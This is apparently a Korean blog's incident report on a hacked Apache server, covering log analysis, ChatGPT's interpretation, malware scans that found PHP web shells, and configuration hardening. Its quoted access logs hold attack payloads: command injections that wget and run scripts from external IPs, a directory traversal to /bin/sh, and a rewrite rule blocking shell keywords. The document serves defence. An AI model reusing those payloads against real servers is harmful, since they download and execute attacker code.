Skip to content

sehub.net

Incident Details

  • Incident Date: July 20, 2024 06:05:00.012 AM KST
  • Incident Time: 06:05 ~ 12:04
  • Incident Description:
    • 웹서버 접근 불가.
    • 서버 접근 후 확인 시 아파치가 꺼져있었음.
    • 이전 2회 동일증상, 동일 로그. July 9, 2024 06:48:52.036 AM KST, July 13, 2024 06:26:20.985 AM KST

Root Cause Analysis

재부팅 기록 확인

sehub@q361-2604:~$ last reboot
reboot system boot 5.4.0-187-generi Wed Jul 10 09:36 still running
reboot system boot 5.4.0-135-generi Sat Dec 10 12:27 still running
wtmp begins Wed Nov 30 10:54:55 2022

부트 유저 확인

sehub@q361-2604:~$ who -b
system boot 2024-07-10 09:36

서버가 재기동되어 발생한 문제는 아닌것으로 보임.

아파치 에러로그 확인

root@q361-2604:/var/log/apache2# vi error.log
[Sat Jul 20 00:00:04.449866 2024] [mpm_prefork:notice] [pid 288706] AH00163: Apache/2.4.41 (Ubuntu) OpenSSL/1.1.1f configured -- resuming normal operations
[Sat Jul 20 00:00:04.449880 2024] [core:notice] [pid 288706] AH00094: Command line: '/usr/sbin/apache2'
[Sat Jul 20 04:10:40.002213 2024] [php7:error] [pid 561809] [client 159.89.186.75:45484] script '/var/www/html/upl.php' not found or unable to stat
[Sat Jul 20 04:10:41.481142 2024] [php7:error] [pid 561784] [client 159.89.186.75:45524] script '/var/www/html/1.php' not found or unable to stat
[Sat Jul 20 04:10:43.025557 2024] [php7:error] [pid 561783] [client 159.89.186.75:45554] script '/var/www/html/password.php' not found or unable to stat
[Sat Jul 20 04:10:43.398249 2024] [php7:error] [pid 561809] [client 159.89.186.75:45564] script '/var/www/html/info.php' not found or unable to stat
[Sat Jul 20 06:04:45.072003 2024] [mpm_prefork:notice] [pid 288706] AH00169: caught SIGTERM, shutting down
root@q361-2604:/var/log/apache2# vi error.log.1
[Fri Jul 19 00:00:04.098741 2024] [mpm_prefork:notice] [pid 288706] AH00163: Apache/2.4.41 (Ubuntu) OpenSSL/1.1.1f configured -- resuming normal operations
[Fri Jul 19 00:00:04.098764 2024] [core:notice] [pid 288706] AH00094: Command line: '/usr/sbin/apache2'
sh: /var/lib/php/bin/CPClient: No such file or directory
sh: /var/lib/php/bin/CPClient: No such file or directory
sh: /var/lib/php/bin/IPIN2Client: No such file or directory
sh: /var/lib/php/bin/IPIN2Client: No such file or directory
[Fri Jul 19 15:42:51.373390 2024] [php7:error] [pid 531026] [client 45.156.129.52:39206] script '/var/www/html/status.php' not found or unable to stat
[Fri Jul 19 23:13:23.566527 2024] [core:error] [pid 550526] [client 177.11.6.54:35684] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
[Sat Jul 20 00:00:04.404322 2024] [mpm_prefork:notice] [pid 288706] AH00171: Graceful restart requested, doing restart

GPT 질의 결과

제공된 아파치 에러로그를 보면 해킹 시도의 징후가 보입니다. 주요 지점을 살펴보면 다음과 같습니다:

  1. 파일 존재하지 않음 오류 (File Not Found Errors):
  • /var/www/html/upl.php, /var/www/html/1.php, /var/www/html/password.php, /var/www/html/info.php 등의 파일을 찾을 수 없다는 오류가 발생했습니다. 이는 일반적으로 공격자가 취약점을 찾기 위해 특정 스크립트 파일을 요청할 때 발생하는 흔한 현상입니다. 이러한 파일들은 흔히 해킹 시도나 악성 스크립트 설치를 위한 경로로 사용됩니다.
  1. Invalid URI Request:
  • POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 요청은 디렉토리 트래버설 공격 시도입니다. 이는 공격자가 서버의 루트 디렉토리까지 접근하려는 시도로 보입니다. 이러한 공격은 일반적으로 서버의 파일 시스템에 불법적으로 접근하여 명령을 실행하려는 의도입니다.
  1. CPClient 및 IPIN2Client 파일 없음:
  • /var/lib/php/bin/CPClient 및 /var/lib/php/bin/IPIN2Client 파일을 찾을 수 없다는 메시지가 반복적으로 나타나고 있습니다. 이는 PHP 설정이나 스크립트에서 특정 클라이언트 프로그램을 실행하려고 하지만 파일이 존재하지 않기 때문에 발생하는 오류입니다. 이 또한 해킹 시도와 관련이 있을 수 있습니다.
  1. Apache Graceful Restart:
  • 서버가 정기적으로 재시작되는 것도 공격의 결과일 수 있습니다. 특히 공격자가 시스템에 접근하여 변경 사항을 적용하려 할 때 이러한 증상이 나타날 수 있습니다.

이러한 로그를 종합해 볼 때, 해킹 시도의 가능성이 매우 높습니다. 이에 대한 대응 방안으로 다음 조치를 권장합니다:

  1. 서버 보안 점검 및 패치:
  • 서버 및 웹 애플리케이션의 보안 패치를 최신 상태로 유지합니다.
  1. 로그 분석 및 모니터링:
  • 추가적인 로그를 분석하고 지속적으로 모니터링하여 비정상적인 활동을 감지합니다.
  1. 파일 및 디렉토리 권한 설정:
  • 서버 내 중요한 파일 및 디렉토리의 권한을 적절히 설정하여 접근을 제한합니다.
  1. 방화벽 설정:
  • 방화벽 규칙을 강화하여 외부에서의 불필요한 접근을 차단합니다.
  1. 웹 애플리케이션 방화벽 (WAF) 사용:
  • WAF를 사용하여 일반적인 웹 공격 패턴을 차단합니다.

빠르게 보안 점검을 실시하고, 서버를 보호하기 위한 조치를 취하는 것이 중요합니다. 추가적인 해킹 시도를 막기 위해 즉시 대응하는 것을 권장드립니다.

백신 설치

ClamAV 설치

sudo apt-get update
sudo apt-get install clamav clamav-daemon

바이러스 정의 업데이트

sudo freshclam

특정 디렉토리 검사 (예: /var/www)

sudo clamscan -r /var/www

시스템 전체 검사

sudo clamscan -r /

감염된 파일을 발견하면 삭제하거나 치료

sudo clamscan -r --remove /var/www

백신검사 : 해당 파일 /root/quarantine 로 격리

sehub@q361-2604:~$ sudo clamscan -r /home/sehub
----------- SCAN SUMMARY -----------
Known viruses: 8696099
Engine version: 0.103.11
Scanned directories: 5686
Scanned files: 253906
Infected files: 3
Data scanned: 47227.79 MB
Data read: 96020.00 MB (ratio 0.49:1)
Time: 4892.695 sec (81 m 32 s)
Start Date: 2024:07:20 11:36:54
End Date: 2024:07:20 12:58:27

—————— Founded ———————

/home/sehub/upload/4124401.php: Win.Trojan.C99-4 FOUND
/home/sehub/upload/2457106.php: Win.Trojan.Hide-1 FOUND
/home/sehub/upload2/1894150.php: Php.Exploit.C99-7566241-0 FOUND

말웨어 검사 : 해당 파일 /root/quarantine 로 격리

root@q361-2604:~/tmp# wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
root@q361-2604:~/tmp# tar -xzvf maldetect-current.tar.gz
root@q361-2604:~/tmp/maldetect-1.6.5# sudo ./maldetect-1.6.5/install.sh
root@q361-2604:~/tmp/maldetect-1.6.5# sudo maldet -a /home/sehub
HOST: q361-2604.cafe24.com
SCAN ID: 240720-1140.582595
STARTED: Jul 20 2024 11:40:34 +0900
COMPLETED: Jul 20 2024 12:51:15 +0900
ELAPSED: 4241s [find: 2s]
PATH: /home/sehub
TOTAL FILES: 251455
TOTAL HITS: 6
TOTAL CLEANED: 0
WARNING: Automatic quarantine is currently disabled, detected threats are still accessible to users!
To enable, set quarantine_hits=1 and/or to quarantine hits from this scan run:
/usr/local/sbin/maldet -q 240720-1140.582595
FILE HIT LIST:
{HEX}php.malware.fopo.566 : /home/sehub/upload/6494855.php
{HEX}php.cmdshell.c99.234 : /home/sehub/upload/4124401.php
{HEX}php.malware.fopo.566 : /home/sehub/upload/9994841.php
{HEX}php.cmdshell.mic22.317 : /home/sehub/upload/2457106.php
{HEX}php.malware.fopo.566 : /home/sehub/upload/7809574.jpg
{HEX}php.cmdshell.Err0R.248 : /home/sehub/upload2/1894150.php
===============================================
Linux Malware Detect v1.6.5 < proj@rfxn.com >

루트킷 / 백도어 검사 : OK

root@q361-2604:~# sudo apt-get install rkhunter
root@q361-2604:~# sudo rkhunter --propupd
root@q361-2604:~# sudo rkhunter --check
System checks summary
=====================
File properties checks...
Files checked: 142
Suspect files: 0
Rootkit checks...
Rootkits checked : 499
Possible rootkits: 0
Applications checks...
All checks skipped
The system checks took: 2 minutes and 55 seconds

아파치 Access Log 분석 / conf 수정

제공된 Apache Access 로그는 여러 가지 의심스러운 활동을 보여줍니다. 이러한 활동은 다양한 해킹 시도와 정보 수집을 위한 스캔 활동을 포함합니다. 주요 의심스러운 항목을 분석하고 대응 방안을 제시하겠습니다.

주요 의심스러운 활동

  1. .env 파일 접근 시도:
  • 여러 IP 주소에서 .env 파일을 요청하고 있습니다. .env 파일은 종종 환경 설정 및 민감한 정보를 포함하므로, 이 파일에 접근하려는 시도는 명백한 해킹 시도입니다.
173.208.185.98 - - [20/Jul/2024:00:42:19 +0900] "GET /.env HTTP/1.1" 404 490 "-"
194.55.186.238 - - [20/Jul/2024:00:55:02 +0900] "GET /.env HTTP/1.1" 404 453 "-"
91.92.251.148 - - [20/Jul/2024:01:45:36 +0900] "GET /.env HTTP/1.1" 404 490 "-"
  1. 특정 경로에 대한 스캔 및 파일 요청:
  • 여러 경로에 대해 파일 요청이 시도되고 있습니다. 이는 공격자가 서버의 취약점을 찾기 위한 스캔 활동으로 보입니다.
45.148.10.202 - - [20/Jul/2024:01:29:03 +0900] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 434 "-" "Go-http-client/1.1"
45.148.10.202 - - [20/Jul/2024:01:29:04 +0900] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+wget.sh%3B+wget+http%3A%2F%2F87.121.112.42%2Fwget.sh%3B+chmod+777+wget.sh%3B+.%2Fwget.sh+tplink%3B+rm+-rf+wget.sh%60) HTTP/1.1" 404 434 "-" "Go-http-client/1.1"
89.190.156.194 - - [20/Jul/2024:02:08:36 +0900] "GET /shell?cd+/tmp;rm+-rf+*;wget+89.110.85.74/jaws;sh+/tmp/jaws HTTP/1.1" 404 488 "-" "Hello, world"
  1. 특정 파일 업로드 및 명령 실행 시도:
  • 공격자는 파일을 업로드하거나 서버에서 명령을 실행하려는 시도를 하고 있습니다.
159.89.186.75 - - [20/Jul/2024:04:10:36 +0900] "GET /upl.php HTTP/1.1" 404 434 "-" "Mozilla/5.0"
159.89.186.75 - - [20/Jul/2024:04:10:40 +0900] "GET /1.php HTTP/1.1" 404 434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"

대응 방안

  1. .env 파일 보호:
  • .env 파일은 웹 서버에서 직접 접근할 수 없도록 보호해야 합니다. Apache 설정 파일에서 다음 지시어를 추가하여 .env 파일에 대한 접근을 차단할 수 있습니다.
<FilesMatch "\.env$">
Order allow,deny
Deny from all
</FilesMatch>
  1. 보안 헤더 추가:
  • 서버 응답에 보안 헤더를 추가하여 잠재적인 공격을 방어할 수 있습니다.
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
Header always set Content-Security-Policy "default-src 'self';"
  1. 웹 애플리케이션 방화벽 (WAF) 사용:
  • ModSecurity와 같은 WAF를 사용하여 일반적인 공격 패턴을 차단합니다. 앞서 언급된 설치 및 설정 방법을 참고하여 WAF를 활성화합니다.
  1. 입력 검증 및 필터링:
  • 웹 애플리케이션에서 모든 사용자 입력을 철저히 검증하고 필터링하여 SQL 인젝션, XSS, 명령어 삽입 등의 공격을 방지합니다.
  1. 보안 패치 적용:
  • 서버 소프트웨어 및 모든 웹 애플리케이션의 최신 보안 패치를 적용합니다.
  1. 정기적인 로그 모니터링 및 분석:
  • 서버 로그를 정기적으로 모니터링하고 비정상적인 접근 시도를 분석하여 신속하게 대응합니다.

이러한 조치를 통해 서버의 보안을 강화하고 다양한 해킹 시도를 효과적으로 차단할 수 있습니다.

Conf 주요 수정사항 : /etc/apache2/sites-available/000-default.conf

  1. env 파일 접근 차단:
  • <FilesMatch “.env$”> 지시어를 사용하여 .env 파일에 대한 모든 접근을 차단합니다.
  1. 보안 헤더 추가:
  • X-Content-Type-Options, X-Frame-Options, X-XSS-Protection, Strict-Transport-Security, Content-Security-Policy 보안 헤더를 추가하여 보안을 강화합니다.
  1. 공격 벡터 키워드 차단
<IfModule mod_rewrite.c>
RewriteEngine On
# Block suspicious query strings containing shell commands
RewriteCond %{QUERY_STRING} (cd\+|rm\+|wget\+|sh\+/tmp) [NC]
RewriteRule .* - [F,L]
</IfModule>
  1. PHP 및 쉘 스크립트 파일 접근 제한:
  • php 파일은 PHP 처리기로 설정 (SetHandler application/x-httpd-php).
  • sh 파일에 대한 접근을 차단 (Order allow,deny 및 Deny from all).
  1. 특정 IP 주소 차단:
  • 악성 활동이 감지된 IP 주소를 차단 (Deny from 84.54.51.37 및 Deny from 177.11.6.54).
  1. SSL/TLS 설정:
  • 약한 SSL/TLS 프로토콜과 암호를 비활성화하고 (SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 및 SSLCipherSuite HIGH:!aNULL:!MD5:!3DES:!CAMELLIA:!RC4), 강한 암호를 사용하도록 설정 (SSLHonorCipherOrder on).
  1. HTTP에서 HTTPS로 리다이렉션:
  • HTTP 요청을 HTTPS로 리다이렉트 (RewriteEngine On, RewriteCond %{HTTPS} off, RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301])

아파치 재시작

root@q361-2604:/etc/apache2/sites-available# systemctl restart apache2

Impact

유지보수 계약 체결 중 발생한 문제로, 우선 선제 조치 후 보고 예정. 아직 정확한 문제는 뭔지 파악하지 못했고 추정하기로는 웹 취약점을 이용해 아파치 재시작 / 서버권한 탈취시도였던것으로 보이나 SSL인증서 비밀번호 입력절차로 인해 중지된 것으로 보임.

Corrective and Preventive Measures

  • 정확한 취약점 / 재시작 방식 / 경로를 알아내야 할 필요가 있음.
  • 우선 모니터링 후 재발 시 내부 공유하여 원인 분석 예정.